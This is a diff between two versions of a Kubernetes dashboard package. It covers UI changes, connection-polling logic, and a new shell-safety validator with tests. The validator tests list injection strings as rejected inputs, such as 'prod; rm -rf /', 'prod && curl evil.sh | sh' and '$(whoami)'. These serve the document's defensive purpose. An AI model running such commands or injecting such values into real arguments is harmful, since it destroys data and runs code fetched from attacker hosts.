@skyhook-io/radar-app 1.9.0 → 1.9.2

package/src/components/workload/WorkloadView.tsx

@@ -1,6 +1,7 @@
 import { useMemo, useEffect, useCallback, useState } from 'react'
 import { useQueries, useQueryClient } from '@tanstack/react-query'
 import { useNavigate, useLocation, useSearchParams } from 'react-router-dom'
+import { workloadPodAwaitsScheduling } from '../capacity/podDemandGate'
 import { clsx } from 'clsx'
 import { Terminal } from 'lucide-react'
 import {
@@ -19,10 +20,9 @@ import {
   gitOpsRouteForOwner,
   gitOpsOwnerFromRelationships,
   getGitOpsResourceStatus,
-  resolvedEnvFromKey,
 } from '@skyhook-io/k8s-ui'
 import type { ServicePortRenderProps } from '@skyhook-io/k8s-ui/components/resources/renderers/ServiceRenderer'
-import type { SelectedResource, ResourceRef, Relationships, ResolvedEnvFrom } from '../../types'
+import type { SelectedResource, ResourceRef, Relationships } from '../../types'
 import {
   kindToPlural,
   pluralToKind,
@@ -95,6 +95,7 @@ import {
 import { useToast } from '../ui/Toast'
 import { Tooltip } from '../ui/Tooltip'
 import { PodRenderer } from '../resources/renderers/PodRenderer'
+import { KarpenterNodePoolRenderer } from '../resources/renderers/KarpenterNodePoolRenderer'
 import { NodeRenderer } from '../resources/renderers/NodeRenderer'
 import { ServiceRenderer } from '../resources/renderers/ServiceRenderer'
 import { WorkloadRenderer } from '../resources/renderers/WorkloadRenderer'
@@ -126,6 +127,7 @@ const BATCH_EXECUTION_KINDS = new Set([
 // Stable reference — web renderer wrappers inject platform hooks internally
 const rendererOverrides: RendererOverrides = {
   PodRenderer,
+  KarpenterNodePoolRenderer,
   NodeRenderer,
   ServiceRenderer,
   WorkloadRenderer,
@@ -548,85 +550,6 @@ export function WorkloadView({
     [helmOwner, helmSourceResource],
   )
 
-  // For pods: extract envFrom ConfigMap/Secret names and resolve their keys
-  const isPod = apiKind === 'pods'
-  const { envFromConfigMapNames, envFromSecretNames } = useMemo(() => {
-    if (!isPod || !resource)
-      return {
-        envFromConfigMapNames: [] as string[],
-        envFromSecretNames: [] as string[],
-      }
-    const cmNames = new Set<string>()
-    const secretNames = new Set<string>()
-    const containers = [
-      ...(resource.spec?.containers || []),
-      ...(resource.spec?.initContainers || []),
-    ]
-    for (const c of containers) {
-      for (const ef of c.envFrom || []) {
-        if (ef.configMapRef?.name) cmNames.add(ef.configMapRef.name)
-        if (ef.secretRef?.name) secretNames.add(ef.secretRef.name)
-      }
-    }
-    return {
-      envFromConfigMapNames: Array.from(cmNames),
-      envFromSecretNames: Array.from(secretNames),
-    }
-  }, [isPod, resource])
-
-  const configMapQueries = useQueries({
-    queries: envFromConfigMapNames.map((cmName) => ({
-      queryKey: ['resources', 'configmaps', namespace, cmName],
-      queryFn: () => fetchJSON<any>(`/resources/configmaps/${namespace}/${cmName}`),
-      enabled: isPod,
-      staleTime: 30000,
-    })),
-  })
-
-  const secretQueries = useQueries({
-    queries: envFromSecretNames.map((secretName) => ({
-      queryKey: ['resources', 'secrets', namespace, secretName],
-      queryFn: () => fetchJSON<any>(`/resources/secrets/${namespace}/${secretName}`),
-      enabled: isPod,
-      staleTime: 30000,
-    })),
-  })
-
-  const resolvedEnvFrom = useMemo(() => {
-    if (!isPod || (envFromConfigMapNames.length === 0 && envFromSecretNames.length === 0))
-      return undefined
-    const result: ResolvedEnvFrom = {}
-    envFromConfigMapNames.forEach((n, i) => {
-      // Single-resource endpoint returns { resource, relationships } wrapper
-      const cm = configMapQueries[i]?.data?.resource ?? configMapQueries[i]?.data
-      if (cm)
-        result[resolvedEnvFromKey('configmap', n)] = {
-          keys: Object.keys(cm.data || {}),
-          values: cm.data || {},
-          isSecret: false,
-        }
-    })
-    envFromSecretNames.forEach((n, i) => {
-      const secret = secretQueries[i]?.data?.resource ?? secretQueries[i]?.data
-      if (secret) {
-        const decodedValues: Record<string, string> = {}
-        for (const [k, v] of Object.entries(secret.data || {})) {
-          try {
-            decodedValues[k] = atob(v as string)
-          } catch {
-            decodedValues[k] = v as string
-          }
-        }
-        result[resolvedEnvFromKey('secret', n)] = {
-          keys: Object.keys(decodedValues),
-          values: decodedValues,
-          isSecret: true,
-        }
-      }
-    })
-    return Object.keys(result).length > 0 ? result : undefined
-  }, [isPod, envFromConfigMapNames, envFromSecretNames, configMapQueries, secretQueries])
-
   // Fetch topology for hierarchy building (only when expanded)
   const { data: topology } = useTopology([namespace], 'resources', {
     enabled: expanded,
@@ -654,7 +577,7 @@ export function WorkloadView({
 
   // RBAC
   const canUpdateSecrets = useCanUpdateSecrets()
-  const { features } = useCapabilitiesContext()
+  const { features, karpenter } = useCapabilitiesContext()
   const { canPortForward } = useNamespacedCapabilities(namespace)
   const isLocalDeployment = useIsLocalDeployment()
   const showServingPortForward = canPortForward || !isLocalDeployment
@@ -837,6 +760,9 @@ export function WorkloadView({
 
   const supportsWorkloadPods = ['deployments', 'statefulsets', 'daemonsets'].includes(apiKind)
   const workloadPodsQuery = useWorkloadPods(supportsWorkloadPods ? apiKind : '', namespace, name)
+  const workloadAwaitsCapacity =
+    karpenter?.state === 'available' &&
+    (workloadPodsQuery.data?.pods ?? []).some(workloadPodAwaitsScheduling)
   const servingRefs = useMemo(() => collectServingRefs(relationships), [relationships])
   const servingQueries = useQueries({
     queries: servingRefs.map((ref) => {
@@ -887,6 +813,14 @@ export function WorkloadView({
         certificateInfo={certificateInfo}
         hpaDiagnosis={hpaDiagnosis}
         workloadPods={supportsWorkloadPods ? workloadPodsQuery.data?.pods : undefined}
+        onEvaluateCapacity={
+          workloadAwaitsCapacity
+            ? () =>
+                navigateRouter(
+                  `/capacity/demand?owner=${encodeURIComponent(`${namespace}/${pluralToKind(apiKind)}/${name}`)}`,
+                )
+            : undefined
+        }
         workloadPodsLoading={supportsWorkloadPods ? workloadPodsQuery.isLoading : false}
         workloadPodsError={supportsWorkloadPods ? (workloadPodsQuery.error as Error | null) : null}
         servingResources={servingResources}
@@ -969,7 +903,6 @@ export function WorkloadView({
         onDownload={desktopDownload}
         actionsBarProps={actionsBarProps}
         rendererOverrides={rendererOverrides}
-        resolvedEnvFrom={resolvedEnvFrom}
         renderOverviewExtra={({ kind: k, namespace: ns, name: n }) => (
           <>
             <FluxSourceConsumersSection kind={k} namespace={ns} name={n} />

package/src/context/ConnectionContext.test.ts

@@ -0,0 +1,39 @@
+import { describe, expect, it } from 'vitest'
+
+import { shouldApplyPolledConnection, shouldAutoRetryConnection } from './ConnectionContext'
+
+describe('shouldAutoRetryConnection', () => {
+  it('retries transient failures', () => {
+    expect(shouldAutoRetryConnection('network')).toBe(true)
+    expect(shouldAutoRetryConnection('timeout')).toBe(true)
+    expect(shouldAutoRetryConnection(undefined)).toBe(true)
+  })
+
+  it('leaves auth-shaped failures to the server-side recovery loop', () => {
+    expect(shouldAutoRetryConnection('auth')).toBe(false)
+    expect(shouldAutoRetryConnection('auth-rejected')).toBe(false)
+  })
+
+  it('leaves configuration and RBAC errors for the user to resolve', () => {
+    expect(shouldAutoRetryConnection('config')).toBe(false)
+    expect(shouldAutoRetryConnection('rbac')).toBe(false)
+  })
+})
+
+describe('shouldApplyPolledConnection', () => {
+  it('recovers a missed disconnected SSE frame', () => {
+    expect(shouldApplyPolledConnection('connected', 'disconnected', 2, 2)).toBe(true)
+  })
+
+  it('does not flash a connected UI back to startup progress', () => {
+    expect(shouldApplyPolledConnection('connected', 'connecting', 2, 2)).toBe(false)
+  })
+
+  it('does not let a poll started before an SSE update overwrite it', () => {
+    expect(shouldApplyPolledConnection('disconnected', 'connected', 1, 2)).toBe(false)
+  })
+
+  it('allows a fresh fallback poll to observe recovery after an SSE update', () => {
+    expect(shouldApplyPolledConnection('disconnected', 'connected', 2, 2)).toBe(true)
+  })
+})

package/src/context/ConnectionContext.tsx

@@ -1,6 +1,5 @@
 import { createContext, useContext, useState, useCallback, useEffect, useRef, ReactNode } from 'react'
 import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query'
-import type { ContextInfo } from '../types'
 import { getApiBase } from '../api/config'
 import { apiFetch } from '../api/client'
 
@@ -11,17 +10,22 @@ export interface ConnectionState {
   context: string
   clusterName?: string
   error?: string
-  errorType?: string // config, auth, rbac, network, timeout, tls, unknown
+  errorType?: string // config, auth, auth-rejected, auth-plugin-stuck, rbac, network, timeout, tls, unknown
   progressMessage?: string
 }
 
 interface ConnectionStatusResponse extends ConnectionState {
-  contexts: ContextInfo[]
+  // Server-side auth recovery owns the episode: suppress browser auto-retry
+  // even when errorType has flipped to a non-auth value.
+  authRecoveryOwed?: boolean
+}
+
+interface PolledConnectionStatus extends ConnectionStatusResponse {
+  sseGenerationAtStart: number
 }
 
 interface ConnectionContextValue {
   connection: ConnectionState
-  contexts: ContextInfo[]
   retry: () => void
   isRetrying: boolean
   updateFromSSE: (status: ConnectionState) => void
@@ -40,21 +44,41 @@ class ConnectionRetryError extends Error {
 const ConnectionContext = createContext<ConnectionContextValue | null>(null)
 const AUTO_RETRY_INITIAL_DELAY_MS = 10000
 const AUTO_RETRY_MAX_DELAY_MS = 60000
+const CONNECTION_STATUS_FALLBACK_POLL_MS = 30000
 
 export function shouldAutoRetryConnection(errorType?: string): boolean {
-  return errorType !== 'config' && errorType !== 'rbac'
+  // Auth-shaped failures are excluded: the server runs its own backoff
+  // reconnect loop for those, and each browser retry would invoke the exec
+  // credential plugin again. Manual "Retry Connection" stays available for
+  // an immediate check.
+  return errorType !== 'config' && errorType !== 'rbac' && !errorType?.startsWith('auth')
+}
+
+export function shouldApplyPolledConnection(
+  currentState: ConnectionStateType,
+  polledState: ConnectionStateType,
+  pollSSEGeneration: number,
+  currentSSEGeneration: number,
+): boolean {
+  return pollSSEGeneration === currentSSEGeneration
+    && (currentState !== 'connected' || polledState !== 'connecting')
 }
 
-async function fetchConnectionStatus(): Promise<ConnectionStatusResponse> {
+async function fetchConnectionStatus(sseGenerationAtStart: number): Promise<PolledConnectionStatus> {
   // apiFetch handles a 401 globally (re-auth redirect). These endpoints are
   // no longer auth-exempt, so a session that expires while the connection-
   // error screen is parked open must route through that path rather than
   // surfacing as a misleading "cannot connect to cluster" error.
-  const response = await apiFetch(`${getApiBase()}/connection`)
+  //
+  // ?contexts=0: context enumeration re-reads kubeconfig files under the
+  // client write lock on the server — too costly for a perpetual poll, and
+  // nothing here consumes the list (ContextSwitcher has its own query).
+  const response = await apiFetch(`${getApiBase()}/connection?contexts=0`)
   if (!response.ok) {
     throw new Error('Failed to fetch connection status')
   }
-  return response.json()
+  const status = await response.json() as ConnectionStatusResponse
+  return { ...status, sseGenerationAtStart }
 }
 
 async function retryConnection(): Promise<ConnectionState> {
@@ -74,11 +98,11 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
     state: 'connecting',
     context: '',
   })
-  const [contexts, setContexts] = useState<ContextInfo[]>([])
   const [isAutoRetrying, setIsAutoRetrying] = useState(false)
-  // Track if SSE has started delivering connection_state events
-  // Once SSE is active, it becomes the authoritative source for connection state
+  // Track whether SSE has delivered connection state so retry races prefer its
+  // immediate recovery signal over an older failed request.
   const sseActiveRef = useRef(false)
+  const sseGenerationRef = useRef(0)
   // Track whether we've reached 'connected' at least once. Distinguishes the
   // initial connect (bootstrap queries already fetched while 'connecting') from
   // a reconnect after a drop (cache may be stale across the gap).
@@ -86,6 +110,10 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
   const autoRetryInFlightRef = useRef(false)
   const autoRetryDelayRef = useRef(AUTO_RETRY_INITIAL_DELAY_MS)
   const manualRetryPendingRef = useRef(false)
+  // Fed by the status poll only (SSE frames don't carry the field, and must
+  // not clear it): while the server's recovery loop owns the episode, browser
+  // auto-retry stands down even if errorType flips to a non-auth value.
+  const serverOwnsRecoveryRef = useRef(false)
   // Whether the QueryClient already held data when this provider mounted. A host
   // can share one client across cluster-scoped RadarApp mounts (see RadarApp's
   // `queryClient` prop); that client may carry another cluster's data under
@@ -99,42 +127,103 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
     cacheWarmAtMountRef.current = queryClient.getQueryCache().getAll().length > 0
   }
 
-  // Fetch initial connection status
-  // Poll while connecting to get progress updates (SSE not established yet)
-  const { data } = useQuery<ConnectionStatusResponse>({
+  // Mirror for the poll-apply effect: it needs the current state to detect a
+  // disconnected→connected transition, which a functional updater can't
+  // surface without side effects inside the updater. Deliberately written
+  // during render (not in an effect): when an SSE frame and a poll land in the
+  // same commit, the poll effect must already see the SSE-updated state or it
+  // would double-run the connected cache refresh.
+  const connectionRef = useRef(connection)
+  connectionRef.current = connection
+
+  // Cache refresh shared by every path that lands on 'connected'.
+  const lastCacheRefreshAtRef = useRef(0)
+  const refreshCachesOnConnect = useCallback(() => {
+    const firstConnect = !hasConnectedRef.current
+    hasConnectedRef.current = true
+    // Poll and SSE can both observe the same reconnect within moments of each
+    // other (SSE always writes a connected frame on stream open); refreshing
+    // twice cancels and refires every in-flight bootstrap fetch.
+    if (Date.now() - lastCacheRefreshAtRef.current < 1500) {
+      return
+    }
+    lastCacheRefreshAtRef.current = Date.now()
+    // A reconnect after a drop (cache stale across the gap), or a first connect
+    // onto a client that already carried data at mount (shared across clusters),
+    // refreshes the whole cache. A clean first connect only needs to recover the
+    // bootstrap queries that 503'd while the cluster was still 'connecting'
+    // (status === 'error'); the rest already fetched fresh during 'connecting',
+    // so re-fetching the whole cache there would double-load every endpoint.
+    if (!firstConnect || cacheWarmAtMountRef.current) {
+      queryClient.invalidateQueries()
+    } else {
+      queryClient.invalidateQueries({ predicate: (q) => q.state.status === 'error' })
+    }
+  }, [queryClient])
+
+  // Poll quickly while connecting and slowly otherwise so a dropped SSE state
+  // frame cannot leave the UI stuck on stale connection state. Runs in hidden
+  // tabs and catches up on focus — a parked tab is exactly where a dropped SSE
+  // frame otherwise strands stale state.
+  const { data, dataUpdatedAt, error: pollError } = useQuery<PolledConnectionStatus>({
     queryKey: ['connection-status'],
-    queryFn: fetchConnectionStatus,
+    queryFn: () => fetchConnectionStatus(sseGenerationRef.current),
     staleTime: 500, // Allow frequent refetches while connecting
-    refetchInterval: connection.state === 'connecting' ? 500 : false, // Poll every 500ms while connecting
-    refetchOnWindowFocus: false,
+    refetchInterval: connection.state === 'connecting' ? 500 : CONNECTION_STATUS_FALLBACK_POLL_MS,
+    refetchIntervalInBackground: true,
+    refetchOnWindowFocus: true,
   })
 
-  // Update state from query result
-  // Once SSE is active, only update contexts from poll (SSE handles connection state)
+  // The poll is the safety net for dropped SSE frames — if it starts failing
+  // the UI may freeze on stale state, so leave a trace.
   useEffect(() => {
-    if (data) {
-      // Always update contexts from poll data
-      setContexts(data.contexts || [])
-      // Only update connection state from poll if SSE hasn't taken over
-      if (!sseActiveRef.current) {
-        setConnection({
-          state: data.state,
-          context: data.context,
-          clusterName: data.clusterName,
-          error: data.error,
-          errorType: data.errorType,
-          progressMessage: data.progressMessage,
-        })
-      }
+    if (pollError) {
+      console.warn('[connection] status poll failed:', pollError)
     }
-  }, [data])
+  }, [pollError])
+
+  // Update state from query result. dataUpdatedAt is a deliberate dep:
+  // structural sharing keeps `data`'s identity stable across byte-identical
+  // polls, so without it a result dropped by the retry-in-flight guard below
+  // would never be re-applied — a stuck error screen when SSE is down.
+  useEffect(() => {
+    if (!data) return
+    if (data.authRecoveryOwed !== undefined) {
+      serverOwnsRecoveryRef.current = data.authRecoveryOwed
+    }
+    // A poll resolving mid-retry would flip the UI back to the error screen
+    // while the retry is still running; the retry's own result supersedes it.
+    if (manualRetryPendingRef.current || autoRetryInFlightRef.current) return
+    const current = connectionRef.current
+    if (!shouldApplyPolledConnection(
+      current.state,
+      data.state,
+      data.sseGenerationAtStart,
+      sseGenerationRef.current,
+    )) {
+      return
+    }
+    const becameConnected = current.state !== 'connected' && data.state === 'connected'
+    setConnection({
+      state: data.state,
+      context: data.context,
+      clusterName: data.clusterName,
+      error: data.error,
+      errorType: data.errorType,
+      progressMessage: data.progressMessage,
+    })
+    if (becameConnected) {
+      refreshCachesOnConnect()
+    }
+  }, [data, dataUpdatedAt, refreshCachesOnConnect])
 
   // Retry mutation
   const retryMutation = useMutation({
     mutationFn: retryConnection,
     onMutate: () => {
       manualRetryPendingRef.current = true
-      // Reset SSE active flag - polling can provide state until SSE reconnects
+      // Until SSE re-delivers state, a failed retry may report its own error
+      // rather than deferring to a stale "connected"
       sseActiveRef.current = false
       // Set connecting state while retrying
       setConnection(prev => ({
@@ -146,6 +235,12 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
     },
     onSuccess: (result) => {
       setConnection(result)
+      if (result.state === 'connected') {
+        // Keep the first-connect bookkeeping and the double-refresh window
+        // honest — the SSE frame that follows must not re-invalidate.
+        hasConnectedRef.current = true
+        lastCacheRefreshAtRef.current = Date.now()
+      }
       // Clear all query cache to get fresh data from new connection
       queryClient.removeQueries()
       queryClient.invalidateQueries()
@@ -165,6 +260,11 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
     },
     onSettled: () => {
       manualRetryPendingRef.current = false
+      // A poll that resolved mid-retry was deliberately dropped; refetch now
+      // rather than leaving the UI on the retry's outcome until the next
+      // 30s tick (a failed retry against a healthy server would otherwise
+      // park the error screen).
+      queryClient.invalidateQueries({ queryKey: ['connection-status'] })
     },
   })
   useEffect(() => {
@@ -186,6 +286,12 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
           scheduleRetry()
           return
         }
+        // Checked at fire time (not arm time): the poll may have learned
+        // mid-wait that the server's recovery loop owns this episode.
+        if (serverOwnsRecoveryRef.current) {
+          scheduleRetry()
+          return
+        }
 
         autoRetryInFlightRef.current = true
         setIsAutoRetrying(true)
@@ -197,6 +303,10 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
             autoRetryDelayRef.current = AUTO_RETRY_INITIAL_DELAY_MS
             sseActiveRef.current = false
             setConnection(result)
+            if (result.state === 'connected') {
+              hasConnectedRef.current = true
+              lastCacheRefreshAtRef.current = Date.now()
+            }
             queryClient.removeQueries()
             queryClient.invalidateQueries()
           })
@@ -219,6 +329,9 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
           .finally(() => {
             autoRetryInFlightRef.current = false
             setIsAutoRetrying(false)
+            // Mirror the manual-retry onSettled: re-poll so a status update
+            // dropped by the mid-retry guard isn't stranded until next tick.
+            queryClient.invalidateQueries({ queryKey: ['connection-status'] })
             if (!stopped && !recovered) {
               scheduleRetry()
             }
@@ -244,13 +357,17 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
 
   // Handler for SSE connection_state events
   const updateFromSSE = useCallback((status: ConnectionState) => {
-    // Mark SSE as active - it's now the authoritative source for connection state
+    // Feed the retry-race guards: a live SSE stream means retry failures must
+    // not clobber a recovery it already delivered. The generation bump lets
+    // in-flight polls detect they raced this frame.
     sseActiveRef.current = true
+    sseGenerationRef.current += 1
     setConnection(prev => {
       // Don't transition back to 'connecting' from 'connected'. This happens when the
       // pod restarts and the SSE reconnects while the new pod's K8s cache is still
       // syncing. Hiding the main content here causes a flash — keep the 'connected'
       // state and wait for either 'connected' (sync done) or 'disconnected' (failure).
+      // (shouldApplyPolledConnection encodes the same suppression for the poll path.)
       if (prev.state === 'connected' && status.state === 'connecting') {
         return prev
       }
@@ -258,25 +375,12 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
     })
 
     if (status.state === 'connected') {
-      const firstConnect = !hasConnectedRef.current
-      hasConnectedRef.current = true
-      // A reconnect after a drop (cache stale across the gap), or a first connect
-      // onto a client that already carried data at mount (shared across clusters),
-      // refreshes the whole cache. A clean first connect only needs to recover the
-      // bootstrap queries that 503'd while the cluster was still 'connecting'
-      // (status === 'error'); the rest already fetched fresh during 'connecting',
-      // so re-fetching the whole cache there would double-load every endpoint.
-      if (!firstConnect || cacheWarmAtMountRef.current) {
-        queryClient.invalidateQueries()
-      } else {
-        queryClient.invalidateQueries({ predicate: (q) => q.state.status === 'error' })
-      }
+      refreshCachesOnConnect()
     }
-  }, [queryClient])
+  }, [refreshCachesOnConnect])
 
   const value: ConnectionContextValue = {
     connection,
-    contexts,
     retry,
     isRetrying: retryMutation.isPending || isAutoRetrying,
     updateFromSSE,

package/src/context/DiagnoseCustomization.tsx

@@ -41,7 +41,7 @@ export type DiagnoseConsentCopy = {
   /** Detail list under the body; each entry is rendered as its own "•" row. */
   bullets?: ReactNode[];
   /** Label for the settings link. `null` hides it — for hosts with one fixed
-   *  agent and no isolation choice, where it would open an empty dialog. */
+   *  agent and no execution-profile choice, where it would open an empty dialog. */
   settingsLabel?: string | null;
   approveLabel?: string;
 };

package/src/utils/shell-safe.test.ts

@@ -0,0 +1,55 @@
+import { describe, expect, it } from 'vitest'
+
+import { allShellSafe, isShellSafeValue } from './shell-safe'
+
+describe('isShellSafeValue', () => {
+  it('accepts the values real provider context names produce', () => {
+    expect(isShellSafeValue('prod-cluster')).toBe(true)
+    expect(isShellSafeValue('us-east-1')).toBe(true)
+    expect(isShellSafeValue('europe-west4-a')).toBe(true)
+    expect(isShellSafeValue('123456789012')).toBe(true)
+    expect(isShellSafeValue('my.project-id')).toBe(true)
+    expect(isShellSafeValue('my_project_2')).toBe(true)
+  })
+
+  it('rejects shell metacharacters', () => {
+    expect(isShellSafeValue('prod; rm -rf /')).toBe(false)
+    expect(isShellSafeValue('prod && curl evil.sh | sh')).toBe(false)
+    expect(isShellSafeValue('prod$(whoami)')).toBe(false)
+    expect(isShellSafeValue('prod`id`')).toBe(false)
+    expect(isShellSafeValue("prod'quote")).toBe(false)
+    expect(isShellSafeValue('prod cluster')).toBe(false)
+    expect(isShellSafeValue('prod>out')).toBe(false)
+    expect(isShellSafeValue('prod*')).toBe(false)
+  })
+
+  it('rejects control characters, which a PTY acts on before any shell parses quotes', () => {
+    expect(isShellSafeValue('prodid;#')).toBe(false) // ETX cancels the line
+    expect(isShellSafeValue('prod\nid')).toBe(false)
+    expect(isShellSafeValue('prod\rid')).toBe(false)
+    expect(isShellSafeValue('prod')).toBe(false)
+    expect(isShellSafeValue('prod')).toBe(false)
+    expect(isShellSafeValue('us-east-1\n')).toBe(false)
+    expect(isShellSafeValue('us-east-1\r')).toBe(false)
+  })
+
+  it('rejects values whose first character the shell would expand', () => {
+    expect(isShellSafeValue('-rf')).toBe(false)
+    expect(isShellSafeValue('~root')).toBe(false)
+    expect(isShellSafeValue('=ls')).toBe(false) // zsh equals-expansion
+  })
+
+  it('rejects empty and absent values', () => {
+    expect(isShellSafeValue('')).toBe(false)
+    expect(isShellSafeValue(null)).toBe(false)
+    expect(isShellSafeValue(undefined)).toBe(false)
+  })
+})
+
+describe('allShellSafe', () => {
+  it('requires every value to pass', () => {
+    expect(allShellSafe('prod', 'us-east-1', '123456789012')).toBe(true)
+    expect(allShellSafe('prod', 'us-east-1; id')).toBe(false)
+    expect(allShellSafe('prod', null)).toBe(false)
+  })
+})

package/src/utils/shell-safe.ts

@@ -0,0 +1,21 @@
+// Remediation commands are typed into an interactive terminal, so quoting is
+// not a sufficient defense: the PTY line discipline acts on control bytes
+// (^C cancels the line, newline submits it) before any shell parses the
+// quotes, and the Windows cmd.exe fallback ignores POSIX quoting entirely.
+// Values derived from a kubeconfig context name — which is routinely supplied
+// by someone else — must therefore be checked, not escaped: anything outside
+// this set means the command is not offered at all.
+//
+// The set covers every value real provider context names produce (cluster
+// names, regions/zones, project and account IDs) and must start
+// alphanumeric so a value can never lead with `-` (flag injection), `~`, or
+// `=` (zsh path expansion).
+const SHELL_SAFE_VALUE = /^[A-Za-z0-9][A-Za-z0-9._:@-]*$/
+
+export function isShellSafeValue(value: string | null | undefined): value is string {
+  return typeof value === 'string' && SHELL_SAFE_VALUE.test(value)
+}
+
+export function allShellSafe(...values: (string | null | undefined)[]): boolean {
+  return values.every(isShellSafeValue)
+}